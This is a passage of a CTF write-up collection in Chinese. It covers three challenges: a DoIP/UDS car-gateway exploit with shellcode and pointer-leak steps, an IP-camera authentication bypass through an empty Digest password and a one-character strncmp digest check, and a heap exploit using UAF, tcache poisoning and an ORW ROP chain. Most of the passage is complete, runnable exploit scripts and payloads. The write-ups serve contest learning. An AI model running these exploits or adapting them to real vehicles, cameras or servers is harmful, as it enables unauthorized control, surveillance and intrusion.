                raise ProtocolError(f"DoIP diagnostic NACK: {packet.payload.hex()}")
            if packet.payload_type == PT_DIAGNOSTIC:
                self._queued_diag.append(self._parse_diag_payload(packet.payload))
                continue
            raise ProtocolError(
                f"unexpected DoIP packet while waiting for ACK: 0x{packet.payload_type:04x}"
            )

    def _send_diag_frame(self, frame: bytes) -> None:
        if not 1 <= len(frame) <= 8:
            raise ValueError("an ISO-TP frame must contain 1..8 bytes")
        payload = struct.pack(">HH", self.tester_address, self.ecu_address) + frame
        self.send_packet(PT_DIAGNOSTIC, payload)
        self._recv_until_ack()

    def _recv_diag_frame(self) -> bytes:
        if self._queued_diag:
            return self._queued_diag.popleft()
        while True:
            packet = self.recv_packet()
            if packet.payload_type == PT_DIAGNOSTIC:
                return self._parse_diag_payload(packet.payload)
            if packet.payload_type == PT_DIAGNOSTIC_ACK:
                continue
            if packet.payload_type == PT_DIAGNOSTIC_NACK:
                raise ProtocolError(f"DoIP diagnostic NACK: {packet.payload.hex()}")
            raise ProtocolError(
                f"unexpected DoIP packet while waiting for diagnostic data: 0x{packet.payload_type:04x}"
            )

    def send_isotp(self, data: bytes) -> None:
        if not data:
            raise ValueError("empty ISO-TP payload")
        if len(data) <= 7:
            self._send_diag_frame(bytes([len(data)]) + data + bytes(7 - len(data)))
            return

        if len(data) <= 0xFFF:
            first = bytes([0x10 | (len(data) >> 8), len(data) & 0xFF]) + data[:6]
            offset = 6
        elif len(data) <= 0xFFFFFFFF:
            first = b"\x10\x00" + struct.pack(">I", len(data)) + data[:2]
            offset = 2
        else:
            raise ValueError("ISO-TP payload is too large")
        self._send_diag_frame(first)

        sequence = 1
        while offset < len(data):
            fc = self._recv_diag_frame()
            if len(fc) < 3 or fc[0] >> 4 != 0x3:
                raise ProtocolError(f"expected ISO-TP flow control, received {fc.hex()}")
            flow_status = fc[0] & 0x0F
            if flow_status != 0:
                raise ProtocolError(f"unsupported ISO-TP flow status {flow_status}")
            block_size = fc[1]
            delay = parse_stmin(fc[2])
            frames_left = block_size if block_size else (len(data) - offset + 6) // 7
            last_send = time.monotonic()
            while offset < len(data) and frames_left:
                wait = delay - (time.monotonic() - last_send)
                if wait > 0:
                    time.sleep(wait)
                chunk = data[offset : offset + 7]
                frame = bytes([0x20 | sequence]) + chunk + bytes(7 - len(chunk))
                self._send_diag_frame(frame)
                last_send = time.monotonic()
                offset += len(chunk)
                sequence = (sequence + 1) & 0x0F
                frames_left -= 1

    def recv_isotp(self) -> bytes:
        first = self._recv_diag_frame()
        if not first:
            raise ProtocolError("empty ISO-TP frame")
        frame_type = first[0] >> 4
        if frame_type == 0:
            length = first[0] & 0x0F
            if length == 0 or length > 7 or len(first) < 1 + length:
                raise ProtocolError("invalid ISO-TP single frame length")
            return first[1 : 1 + length]
        if frame_type != 1 or len(first) < 2:
            raise ProtocolError(f"expected ISO-TP SF/FF, received {first.hex()}")

        if first[0] == 0x10 and first[1] == 0x00:
            if len(first) < 6:
                raise ProtocolError("short escaped ISO-TP first frame")
            total = int.from_bytes(first[2:6], "big")
            assembled = bytearray(first[6:])
        else:
            total = ((first[0] & 0x0F) << 8) | first[1]
            assembled = bytearray(first[2:])
        if total <= 7:
            raise ProtocolError("invalid ISO-TP first-frame length")

        # Ask the ECU to send the whole response without further block pauses.
        self._send_diag_frame(b"\x30\x00\x00" + bytes(5))
        expected_sequence = 1
        while len(assembled) < total:
            frame = self._recv_diag_frame()
            if not frame or frame[0] >> 4 != 0x2:
                raise ProtocolError(f"expected ISO-TP consecutive frame, received {frame.hex()}")
            if (frame[0] & 0x0F) != expected_sequence:
                raise ProtocolError(
                    f"ISO-TP sequence mismatch: expected {expected_sequence}, got {frame[0] & 0x0F}"
                )
            assembled.extend(frame[1:])
            expected_sequence = (expected_sequence + 1) & 0x0F
        return bytes(assembled[:total])

    def exchange_uds(self, request: bytes, *, allow_negative: bool = False) -> bytes:
        if not request:
            raise ValueError("empty UDS request")
        self.send_isotp(request)
        while True:
            response = self.recv_isotp()
            if len(response) >= 3 and response[0] == 0x7F:
                if response[2] == 0x78:  # response pending
                    continue
                if allow_negative:
                    return response
                raise NegativeResponse(response[1], response[2], response)
            return response

    def exchange_legacy(self, request: bytes, *, allow_negative: bool = False) -> bytes:
        """Use the hidden DoIP-v2 raw KWP compatibility channel."""
        if not request:
            raise ValueError("empty legacy request")
        payload = struct.pack(">HH", self.tester_address, self.ecu_address) + request
        self.send_packet(PT_DIAGNOSTIC, payload, version=0x02)
        self._recv_until_ack()
        response = self._recv_diag_frame()
        if len(response) >= 3 and response[0] == 0x7F and not allow_negative:
            raise NegativeResponse(response[1], response[2], response)
        return response

    def unlock_legacy(self) -> tuple[int, int]:
        response = self.exchange_legacy(b"\x27\x01")
        if len(response) != 4 or response[:2] != b"\x67\x01":
            raise ProtocolError(f"malformed legacy seed response: {response.hex()}")
        seed = int.from_bytes(response[2:4], "big")
        key = legacy_key_from_seed(seed)
        response = self.exchange_legacy(b"\x27\x02" + key.to_bytes(2, "big"))
        if response != b"\x67\x02":
            raise ProtocolError(f"legacy unlock failed: {response.hex()}")
        return seed, key

    def tester_present(self, suppress_response: bool = False) -> Optional[bytes]:
        sub = 0x80 if suppress_response else 0x00
        self.send_isotp(bytes([0x3E, sub]))
        return None if suppress_response else self.recv_isotp()

    def diagnostic_session(self, subfunction: int) -> bytes:
        return self.exchange_uds(bytes([0x10, subfunction]))

    def security_seed(self) -> bytes:
        response = self.exchange_uds(b"\x27\x11")
        if len(response) != 10 or response[:2] != b"\x67\x11":
            raise ProtocolError(f"malformed SecurityAccess seed response: {response.hex()}")
        return response[2:]

    def security_key(self, key: bytes) -> bytes:
        if len(key) != 4:
            raise ValueError("SecurityAccess key must be four bytes")
        return self.exchange_uds(b"\x27\x12" + key)

    def read_did(self, did: int) -> bytes:
        return self.exchange_uds(b"\x22" + struct.pack(">H", did))

    def write_did(self, did: int, data: bytes) -> bytes:
        return self.exchange_uds(b"\x2e" + struct.pack(">H", did) + data)

    def read_memory(self, address: int, size: int, *, absolute: bool = False) -> bytes:
        address_len = 8 if absolute else 4
        if not 0 <= address < (1 << (8 * address_len)):
            raise ValueError("address does not fit selected address format")
        if not 1 <= size <= 0x800:
            raise ValueError("read size must be 1..0x800")
        size_len = 1 if size <= 0xFF else 2
        fmt = (size_len << 4) | address_len
        request = (
            bytes([0x23, fmt])
            + address.to_bytes(address_len, "big")
            + size.to_bytes(size_len, "big")
        )
        response = self.exchange_uds(request)
        if not response or response[0] != 0x63:
            raise ProtocolError(f"malformed ReadMemory response: {response.hex()}")
        return response[1:]

    def routine_seed(self) -> bytes:
        response = self.exchange_uds(b"\x31\x04\x02\x03")
        if len(response) != 7 or response[:4] != b"\x71\x04\x02\x03":
            raise ProtocolError(f"malformed routine seed response: {response.hex()}")
        return response[4:]

    def routine_key(self, key: bytes) -> bytes:
        if len(key) != 4:
            raise ValueError("routine key must be four bytes")
        return self.exchange_uds(b"\x31\x05\x02\x03" + key)

    def unlock_routine(self) -> tuple[bytes, bytes]:
        seed = self.routine_seed()
        key = routine_key_from_seed(seed)
        response = self.routine_key(key)
        if response != b"\x71\x05\x02\x03\x00":
            raise ProtocolError(f"routine unlock failed: {response.hex()}")
        return seed, key

    def request_download(self, address: int, length: int) -> int:
        request = b"\x34\x00\x44" + struct.pack(">II", address, length)
        response = self.exchange_uds(request)
        if len(response) != 4 or response[:2] != b"\x74\x20":
            raise ProtocolError(f"malformed RequestDownload response: {response.hex()}")
        return int.from_bytes(response[2:4], "big")

    def request_upload(self, address: int, length: int) -> int:
        request = b"\x35\x00\x44" + struct.pack(">II", address, length)
        response = self.exchange_uds(request)
        if len(response) != 4 or response[:2] != b"\x75\x20":
            raise ProtocolError(f"malformed RequestUpload response: {response.hex()}")
        return int.from_bytes(response[2:4], "big")

    def transfer_download(self, blob: bytes, max_block_length: int) -> None:
        chunk_size = min(0xFFE, max_block_length - 2)
        if chunk_size <= 0:
            raise ProtocolError(f"invalid maxBlockLength {max_block_length}")
        counter = 1
        for offset in range(0, len(blob), chunk_size):
            response = self.exchange_uds(
                b"\x36" + bytes([counter]) + blob[offset : offset + chunk_size]
            )
            if response != b"\x76" + bytes([counter]):
                raise ProtocolError(f"malformed TransferData response: {response.hex()}")
            counter = (counter + 1) & 0xFF

    def request_transfer_exit(self) -> bytes:
        return self.exchange_uds(b"\x37")

    def transfer_upload(self, wanted: int) -> bytes:
        result = bytearray()
        counter = 1
        while len(result) < wanted:
            response = self.exchange_uds(b"\x36" + bytes([counter]))
            if len(response) < 2 or response[:2] != b"\x76" + bytes([counter]):
                raise ProtocolError(f"malformed upload TransferData response: {response.hex()}")
            chunk = response[2:]
            if not chunk:
                raise ProtocolError("upload ended before the requested length")
            result.extend(chunk)
            counter = (counter + 1) & 0xFF
        return bytes(result[:wanted])

    def download_routine(self, address: int, payload: bytes) -> bytes:
        blob = wrap_routine(payload)
        max_block_length = self.request_download(address, len(blob))
        self.transfer_download(blob, max_block_length)
        return self.request_transfer_exit()

利用入口:

#!/usr/bin/env python3
"""End-to-end exploit for SilGate."""

from __future__ import annotations

import argparse
import time

from silgate import ProtocolError, SilGateClient, wrap_routine


OUTPUT_SIZE = 0xA0

# RDI is the restored legacy xorshift64 state. This position-independent code
# decrypts 0xa0 bytes in page two, measures the watchdog tick with RDTSC, and
# feeds the watchdog until RequestUpload safely terminates the routine thread.
PAYLOAD = bytes.fromhex(
    "488d1de9ffffff4889f8488db300100000b9140000004889c248c1e20d4831d0"
    "4889c248c1ea074831d04889c248c1e2114831d04831064883c608ffc975d74c"
    "8dabf81f0000440fb76306450fb77502f390664539750274f70f3148c1e22048"
    "09d04989c0450fb77502f390664539750274f70f3148c1e2204809d04989c14d"
    "29c166458965004d89ca49c1ea014d01ca4901c20f3148c1e2204809d04c39d0"
    "72f24489e089c266d1e883e201f7da81e208d0000031d0440fb7e06645896500"
    "4d01caebcf"
)


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host")
    parser.add_argument("port", type=int)
    parser.add_argument("--plain", action="store_true")
    args = parser.parse_args()

    with SilGateClient(args.host, args.port, tls=not args.plain, timeout=5.0) as client:
        activation = client.routing_activation(1)
        if activation.result_code != 0x10:
            raise ProtocolError(f"production activation failed: {activation}")
        print("[+] zero-length production activation accepted")

        seed1, key1 = client.unlock_legacy()
        print(f"[+] legacy unlock #1: seed={seed1:04x} key={key1:04x}")

        response = client.diagnostic_session(0x02)
        if not response.startswith(b"\x50\x02"):
            raise ProtocolError(f"programming session failed: {response.hex()}")
        print("[+] programming session entered")

        # The 4-byte relative ReadMemory path is signed.  Its local stack buffer
        # starts at rsp+0x230, so -0x230 discloses the current ctx pointer.  The
        # per-connection MAP_32BIT routine mapping lives at ctx+0x54b0.
        state = int.from_bytes(client.read_memory(0xFFFFFDD0, 8), "little")
        routine_base = int.from_bytes(
            client.read_memory(state + 0x54B0, 8, absolute=True), "little"
        )
        if not state or not routine_base or routine_base & 0xFFF:
            raise ProtocolError(
                f"invalid pointer leak: state=0x{state:x} routine=0x{routine_base:x}"
            )
        print(f"[+] state=0x{state:x} routine_base=0x{routine_base:x}")
        connection_id = int.from_bytes(
            client.read_memory(state + 4, 4, absolute=True), "little"
        )
        watchdog_magic = connection_id & 0xFFFF
        if watchdog_magic == 0:
            watchdog_magic = 1
        watchdog_magic = (
            (watchdog_magic >> 1)
            ^ (0xD008 if watchdog_magic & 1 else 0)
        ) & 0xFFFF
        # wrap_routine serializes flags big-endian, while the payload reads the
        # ignored header field as a native little-endian watchdog value.
        header_flags = ((watchdog_magic & 0xFF) << 8) | (watchdog_magic >> 8)
        blob = wrap_routine(PAYLOAD, flags=header_flags)
        print(
            f"[+] connection_id={connection_id} "
            f"watchdog_magic=0x{watchdog_magic:04x}"
        )

        routine_seed, routine_key = client.unlock_routine()
        print(
            f"[+] routine handshake: seed={routine_seed.hex()} "
            f"key={routine_key.hex()}"
        )
        client.tester_present(suppress_response=True)

        max_block = client.request_download(routine_base, len(blob))
        print(f"[+] download opened: blob={len(blob)} maxBlockLength={max_block}")

        # Refresh the second-page ciphertext and its matching token after the
        # transfer has been opened, before writing the routine into page one.
        seed2, key2 = client.unlock_legacy()
        print(f"[+] legacy unlock #2: seed={seed2:04x} key={key2:04x}")
        client.tester_present(suppress_response=True)

        client.transfer_download(blob, max_block)
        client.tester_present(suppress_response=True)
        response = client.request_transfer_exit()
        if response != b"\x77":
            raise ProtocolError(f"routine launch failed: {response.hex()}")
        print("[+] routine accepted and launched")

        # Two watchdog ticks are deliberately observed by the payload before it
        # synchronizes.  Give it enough time to decrypt and enter its feed loop.
        time.sleep(0.10)
        client.request_upload(routine_base + 0x1000, OUTPUT_SIZE)
        recovered = client.transfer_upload(OUTPUT_SIZE)
        print(f"[+] recovered={recovered.hex()}")

    start = recovered.find(b"flag{")
    end = recovered.find(b"}", start + 5) if start >= 0 else -1
    if start < 0 or end < 0:
        raise SystemExit("[-] no complete flag marker in recovered plaintext")
    print(recovered[start : end + 1].decode("ascii"))


if __name__ == "__main__":
    main()

运行方式:

python -B exp.py HOST PORT

Flag

flag{q71gfIT8aR9tjr1qjrQaH8J0Sy6sb4PfQbGWU5IZ}

14. Smart Surveillance Camera - Remote PTZ Control

服务与认证信息

附件说明设备把功能拆分到了多个认证域。本题需要使用两个服务:SSCP 控制服务负责 PTZ,私有 HTTP 媒体服务负责预览、诊断包和固件下载。

两份通信样本虽然遮掉了摘要值,但保留了后续利用所需的身份和算法参数:

  • SSCP 用户名为 camera_acc,认证方式是 WS-Security UsernameToken;
  • 媒体用户名为 hub_primary_2,认证方式是 SHA-256 HTTP Digest;
  • Digest 的 realm 为 TPC260,qop 为 auth;
  • 实时图片路径为 /preview。

确定媒体账户的空口令

通信样本中的 response 已被遮掉,无法直接重放或从中反推密码。服务器会在第一次未认证请求中返回新的 nonce,因此可以用准确的账户名对候选口令进行在线验证。

hub_primary_2 是写入设备认证表的工厂服务身份。先测试零长度口令,即 password = ""。SHA-256 Digest 按下面的公式构造:

HA1 = SHA256(username + ":" + realm + ":" + password)
HA2 = SHA256(method + ":" + uri)
response = SHA256(HA1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + HA2)

代入本题参数后,HA1 的原始输入为:

hub_primary_2:TPC260:

最后一个冒号后没有任何字符,这就是空口令。实际请求结果如下:

GET /preview
-> 401 Unauthorized
-> WWW-Authenticate: Digest realm="TPC260", qop="auth", algorithm=SHA-256, ...

GET /preview + Authorization: Digest ...
-> 200 OK
-> Content-Type: image/png

同一组凭据访问 /diagnostic 和 /firmware/download 也分别得到 ZIP 与固件二进制。服务端只有在完整 Digest 校验通过后才返回这些资源,因此 200 响应可以确定 hub_primary_2 的密码为空。

诊断包与固件提取

解压 /diagnostic 返回的 ZIP,其中 config.json 给出了设备内部账户和初始姿态:

{
  "camera_account_user": "camera_acc",
  "second_primary_user": "hub_primary_2",
  "pan_range": 172.5,
  "initial": {
    "pan": -150.0,
    "tilt": 10.0
  }
}

这同时确认了媒体通信样本中的账户和 SSCP 控制账户。

/firmware/download 返回自定义固件容器。前 8 字节是 VSCPFW\x00\x01,偏移 8 处的四字节小端整数是元数据长度,JSON 元数据从偏移 24 开始,元数据之后是 XZ 压缩数据:

0x00                 8 字节容器魔数
0x08                 uint32_le 元数据长度
0x18                 JSON 元数据
0x18 + metadata_len  XZ 压缩的 ELF

元数据中的关键字段为:

{
  "model": "SSCP-CAM V1",
  "version": "1.0.3",
  "entry": "verify_username_token",
  "sha256": "b7068e50567a440c1bb60ba4ba7b55899bb587386e7f6a43f5b6a55bd6323fc6"
}

解压后得到 32 位小端 ARM ELF,计算出的 SHA-256 与元数据完全一致。

SSCP UsernameToken 漏洞

协议规定 PasswordDigest 的计算方式为:

Base64(SHA1(Base64Decode(Nonce) || Created || Password))

静态分析 verify_username_token 可以看到,它先检查四个字段非空并精确比较用户名,然后计算完整的预期摘要。问题出在最后一步:比较长度来自客户端提交的摘要,而不是预期摘要的固定长度。整理后的逻辑如下:

int verify_username_token(
    const char *username,
    const char *nonce,
    const char *created,
    const char *supplied)
{
    char expected[64];

    if (!username || !nonce || !created || !supplied)
        return 0;
    if (!*username || !*nonce || !*created || !*supplied)
        return 0;
    if (strcmp(username, "camera_acc") != 0)
        return 0;
    if (make_password_digest(nonce, created, expected) < 0)
        return 0;

    return strncmp(expected, supplied, strlen(supplied)) == 0;
}

空摘要会被前面的非空检查拒绝,但一字符摘要可以进入 strncmp。预期摘要是 Base64 字符串,因此首字符只能来自下面 64 个字符:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

客户端可以固定 Nonce 和 Created,依次提交这 64 个单字符摘要。错误字符返回认证失败,匹配预期摘要首字符的请求会通过认证并执行 SOAP Body。搜索上限只有 64 次,而且完全不需要恢复 SSCP 密码。枚举过程中不能改变 Nonce 或 Created,否则服务端计算出的预期摘要也会变化。

PTZ 控制与取图

利用成功后直接发送 AbsoluteMove。服务实际接受的坐标结构为 Position/PanTilt:

<tds:AbsoluteMove xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
  <tptz:Position xmlns:tptz="http://www.onvif.org/ver20/ptz/wsdl"
                  xmlns:tt="http://www.onvif.org/ver10/schema">
    <tt:PanTilt x="120" y="0"/>
  </tptz:Position>
</tds:AbsoluteMove>

在 -172.5 ~ 172.5 的水平范围内分段移动并读取 /preview,可以定位到白板位于 pan=120, tilt=0。移动完成后再次使用 hub_primary_2 的空口令下载 /preview,即可取得白板图片。

Exp

运行示例:

python solve.py \
  --media-base http://n8ygktag.nestctf.cyberpeace.cn:58080 \
  --sscp-url http://luiminq3.nestctf.cyberpeace.cn:58080/sscp/device_service

完整脚本如下:

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import hashlib
import http.client
import io
import json
import lzma
import os
from pathlib import Path
import struct
import time
import zipfile
from urllib.parse import urlsplit
from urllib.request import parse_http_list, parse_keqv_list

MEDIA_USER = "hub_primary_2"
MEDIA_PASSWORD = ""
BASE64_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


def connection_for(parsed):
    if parsed.scheme != "http" or parsed.hostname is None:
        raise ValueError("only http:// targets are supported")
    return http.client.HTTPConnection(parsed.hostname, parsed.port or 80, timeout=12)


def digest_get(base_url: str, path: str, username: str, password: str) -> bytes:
    parsed = urlsplit(base_url)
    target = parsed.path.rstrip("/") + path
    conn = connection_for(parsed)
    try:
        conn.request("GET", target)
        first = conn.getresponse()
        first.read()
        challenge = first.getheader("WWW-Authenticate")
        if first.status != 401 or not challenge or not challenge.lower().startswith("digest "):
            raise RuntimeError(f"GET {target}: missing Digest challenge")

        params = parse_keqv_list(parse_http_list(challenge[7:]))
        algorithm = params.get("algorithm", "MD5")
        hash_name = algorithm.lower().replace("-", "")
        if hash_name not in {"md5", "sha256"}:
            raise RuntimeError(f"unsupported Digest algorithm: {algorithm}")

        def h(value: str) -> str:
            return hashlib.new(hash_name, value.encode()).hexdigest()

        qop = "auth"
        if qop not in [item.strip() for item in params.get("qop", "").split(",")]:
            raise RuntimeError("Digest challenge does not support qop=auth")
        nc = "00000001"
        cnonce = os.urandom(12).hex()
        ha1 = h(f"{username}:{params['realm']}:{password}")
        ha2 = h(f"GET:{target}")
        response = h(f"{ha1}:{params['nonce']}:{nc}:{cnonce}:{qop}:{ha2}")
        fields = [
            f'username="{username}"',
            f'realm="{params["realm"]}"',
            f'nonce="{params["nonce"]}"',
            f'uri="{target}"',
            f'response="{response}"',
            f"algorithm={algorithm}",
            f"qop={qop}",
            f"nc={nc}",
            f'cnonce="{cnonce}"',
        ]
        if "opaque" in params:
            fields.append(f'opaque="{params["opaque"]}"')

        conn.request(
            "GET",
            target,
            headers={"Authorization": "Digest " + ", ".join(fields)},
        )
        second = conn.getresponse()
        body = second.read()
        if second.status != 200:
            raise RuntimeError(f"authenticated GET {target}: HTTP {second.status}")
        return body
    finally:
        conn.close()


def soap_post(url: str, body: bytes) -> tuple[int, bytes]:
    parsed = urlsplit(url)
    conn = connection_for(parsed)
    try:
        conn.request(
            "POST",
            parsed.path or "/sscp/device_service",
            body=body,
            headers={"Content-Type": "application/soap+xml; charset=utf-8"},
        )
        response = conn.getresponse()
        return response.status, response.read()
    finally:
        conn.close()


def move_envelope(username: str, nonce: str, created: str, prefix: str, pan: float, tilt: float) -> bytes:
    return f'''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Header>
    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
      <wsse:UsernameToken>
        <wsse:Username>{username}</wsse:Username>
        <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">{prefix}</wsse:Password>
        <wsse:Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">{nonce}</wsse:Nonce>
        <wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">{created}</wsu:Created>
      </wsse:UsernameToken>
    </wsse:Security>
  </soap:Header>
  <soap:Body>
    <tds:AbsoluteMove xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
      <tptz:Position xmlns:tptz="http://www.onvif.org/ver20/ptz/wsdl"
                     xmlns:tt="http://www.onvif.org/ver10/schema">
        <tt:PanTilt x="{pan}" y="{tilt}"/>
      </tptz:Position>
    </tds:AbsoluteMove>
  </soap:Body>
</soap:Envelope>'''.encode()


def absolute_move(url: str, username: str, pan: float, tilt: float) -> str:
    nonce = base64.b64encode(os.urandom(16)).decode()
    created = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
    for candidate in BASE64_ALPHABET:
        body = move_envelope(username, nonce, created, candidate, pan, tilt)
        status, response = soap_post(url, body)
        if status == 200 and b"AbsoluteMoveResponse" in response:
            return candidate
        if status not in {400, 401, 403}:
            raise RuntimeError(f"unexpected SSCP response: HTTP {status}")
    raise RuntimeError("no one-character PasswordDigest prefix was accepted")


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--media-base", required=True, help="for example http://host:58080")
    parser.add_argument("--sscp-url", required=True, help="full /sscp/device_service URL")
    parser.add_argument("--pan", type=float, default=120.0)
    parser.add_argument("--tilt", type=float, default=0.0)
    parser.add_argument("--output", type=Path, default=Path("solve_output"))
    args = parser.parse_args()
    args.output.mkdir(parents=True, exist_ok=True)

    diagnostic = digest_get(args.media_base, "/diagnostic", MEDIA_USER, MEDIA_PASSWORD)
    (args.output / "diagnostic.zip").write_bytes(diagnostic)
    with zipfile.ZipFile(io.BytesIO(diagnostic)) as archive:
        config = json.loads(archive.read("config.json"))
    camera_user = config["camera_account_user"]

    firmware = digest_get(args.media_base, "/firmware/download", MEDIA_USER, MEDIA_PASSWORD)
    (args.output / "firmware.bin").write_bytes(firmware)
    if firmware[:8] != b"VSCPFW\x00\x01":
        raise RuntimeError("unexpected firmware container magic")
    metadata_length = struct.unpack_from("<I", firmware, 8)[0]
    metadata_end = 24 + metadata_length
    metadata = json.loads(firmware[24:metadata_end])
    elf = lzma.decompress(firmware[metadata_end:])
    if hashlib.sha256(elf).hexdigest() != metadata["sha256"]:
        raise RuntimeError("firmware payload SHA-256 mismatch")
    (args.output / "vscp_dev.elf").write_bytes(elf)

    prefix = absolute_move(args.sscp_url, camera_user, args.pan, args.tilt)
    print(f"accepted PasswordDigest prefix: {prefix}")
    time.sleep(0.5)

    preview = digest_get(args.media_base, "/preview", MEDIA_USER, MEDIA_PASSWORD)
    image_path = args.output / "flag.png"
    image_path.write_bytes(preview)
    print(f"saved {image_path}")


if __name__ == "__main__":
    main()

Flag

flag{a99b94028914616a52ee3710af475836}

15. Pending Review

题目分析

程序是一个自带 HTTP 服务的 x86-64 ELF。保护为 PIE、NX、栈保护和 Full RELRO,附带的 seccomp 规则禁止 execve、execveat、sendfile 等调用,但允许 open/openat、read 和 write,因此最终使用 ORW 读取 flag。

服务的核心对象是维修任务 job。任务结构保存数据指针、长度、容量和状态字段。不同请求长度会进入三种固定容量:

请求长度 malloc 大小 chunk 大小
8~144 0x90 0xa0
145~288 0x120 0x130
289~1280 0x500 0x510

需要组合利用的接口如下:

  • cancel 会释放任务的数据指针并清除 active 标记,但不会清空指针和 exists 标记,产生 UAF。
  • receipt 不检查 active,会把任务指针所指位置的第一个八字节作为 record_tag 返回。
  • revision 对已存在任务写入恰好三个可控字节,同样不检查 active。
  • evidence 能向 active 任务指向的缓冲区复制可控内容。
  • snapshot 使用 malloc(0x90),对象偏移 0x10 保存一个指针。查询 snapshot 时会解引用该指针,并把结果作为 trace_tag 返回。

权限绕过

/cgi-bin/config-backup.bin 未经认证即可访问,其中直接保存管理员用户名和密码。使用该凭据登录后可获得 SID。

/api/service/dispatch 返回 AES-CBC 加密的 review envelope。明文中包含 BL855|role=0|v1!,但没有完整性校验。CBC 模式中修改前一密文块会按位翻转后一明文块,因此将 envelope 的第 27 字节异或 1,可以把角色从 role=0 改为 role=1。提交修改后的 envelope 即可使用任务管理接口。

泄露 PIE 与构造任意读

先创建两个短任务 A、B,依次释放后读取 freed chunk 的首八字节。glibc safe-linking 使用:

encoded_next = next ^ (chunk_address >> 12)

空链表节点可泄露页号,另一个节点可泄露编码后的 next。枚举页内按 0x10 对齐的偏移即可精确恢复 A 的地址,代码同时处理两个相邻 chunk 跨页的情况。

随后创建两个 snapshot,它们依次取走 B 和 A。旧任务 A 仍指向现已变成 snapshot 的 chunk,调用 receipt(A) 会泄露 snapshot 回调函数地址。减去函数偏移 0x5270 得到 PIE 基址。

再创建并释放两个短任务 C、D,通过 revision(D) 修改 D 的 safe-linked next 的低三个字节,使其指向 snapshot A。两次同尺寸分配后,第二个 active job 与 snapshot A 重叠。通过这个 job 的 evidence 修改 snapshot 偏移 0x10 的指针,再查询 snapshot,就得到任意地址八字节读取原语。

泄露 libc 与栈地址

创建一个 300 字节任务和一个相邻 guard。对应的 0x510 chunk 释放后进入 unsorted bin,receipt 泄露 main arena 指针。泄露值减去 0x1d3cc0 得到 libc 基址。

任意读访问 libc + 0x1db320 的 environ 得到栈地址。通常 main 的保存返回地址位于 environ - 0x120;Exp 会先验证该候选位置是否同时满足 libc + 0x2724a 和相邻的 PIE + 0x2340 特征,验证失败则向下扫描栈。找到保存返回地址后,根据 main 的固定栈帧大小 0x37e8 计算最终 tcache 目标:

main_rsp    = saved_main_return - 0x37e8
stack_target = main_rsp - 0x10

tcache 定向到栈

最终阶段使用 0x130 大小的 medium chunk:

  1. 释放两个 medium chunk,恢复第一个 chunk 的真实地址。
  2. 重新分配,使其中一个 chunk 成为 active job 的缓冲区。
  3. 再释放一对 medium chunk,通过三字节写把链表 next 指向这个 active chunk。
  4. 两次分配后得到两个 job 指向同一个 chunk,形成 active 别名。
  5. 释放一个 filler,再释放其中一个别名,使 tcache 链成为 victim -> filler。
  6. 通过仍然 active 的另一个别名完整覆盖 victim 的 safe-linked next,将其编码为栈目标地址。
  7. 第一次 malloc 取出 victim,第二次 malloc 返回栈地址,随请求体复制的 ROP 链覆盖返回地址。

目标检查只拒绝落在 PIE 映射范围内的 malloc 返回值,栈地址可以通过检查。

ORW

利用 snapshot 重叠 chunk 的空闲区域保存字符串 /flag。ROP 依次调用 open、read、write;open 的返回值通过 xchg edi, eax; ret 转入 read 的文件描述符参数,读取结果写入 PIE 的可写区域,再通过 HTTP 连接文件描述符 6 返回。

关键 libc 偏移如下:

符号或 gadget 偏移
pop rdi; ret 0x277e5
pop rsi; ret 0x28f99
pop rdx; ret 0xfdf0d
ret 0x26e99
xchg edi, eax; ret 0x141dcc
open 0xf7fc0
read 0xf82a0
write 0xf8340
environ 0x1db320

最终得到:

flag{pm7N9VrAOKIxxQpwQisbrbU1lR0GAQ221GpyxmN4}

Exp

#!/usr/bin/env python3
import argparse
import http.client
import json
import os
import re
import struct
import time
import urllib.parse


def p64(value):
    return struct.pack("<Q", value)


def recover_first(mask, encoded_next, chunk_size):
    page = mask << 12
    matches = []
    for low in range(0, 0x1000, 0x10):
        first = page + low
        second = first + chunk_size
        if first ^ (second >> 12) == encoded_next:
            matches.append(first)
    if len(matches) != 1:
        raise RuntimeError(f"safe-linking recovery failed: {matches!r}")
    return matches[0]


class Client:
    def __init__(self, host, port, timeout, proxy=""):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.sid = None
        self.proxy = None
        if proxy:
            if "://" not in proxy:
                proxy = "http://" + proxy
            parsed = urllib.parse.urlparse(proxy)
            if parsed.scheme != "http" or not parsed.hostname:
                raise ValueError("--proxy must be an HTTP proxy, e.g. http://127.0.0.1:7897")
            self.proxy = (parsed.hostname, parsed.port or 80)

    def req(self, method, path, body=b"", content_type=None):
        if isinstance(body, str):
            body = body.encode()
        headers = {}
        if self.sid:
            headers["Cookie"] = f"SID={self.sid}"
        if content_type:
            headers["Content-Type"] = content_type

        if self.proxy:
            connection = http.client.HTTPConnection(*self.proxy, timeout=self.timeout)
            target = f"http://{self.host}:{self.port}{path}"
            headers["Host"] = f"{self.host}:{self.port}"
        else:
            connection = http.client.HTTPConnection(self.host, self.port, timeout=self.timeout)
            target = path

        try:
            connection.request(method, target, body=body, headers=headers)
            response = connection.getresponse()
            data = response.read()
            status = response.status
            cookie = response.getheader("Set-Cookie")
        finally:
            connection.close()

        if cookie:
            match = re.search(r"SID=([0-9a-f]{32})", cookie)
            if match:
                self.sid = match.group(1)

        try:
            value = json.loads(data or b"{}")
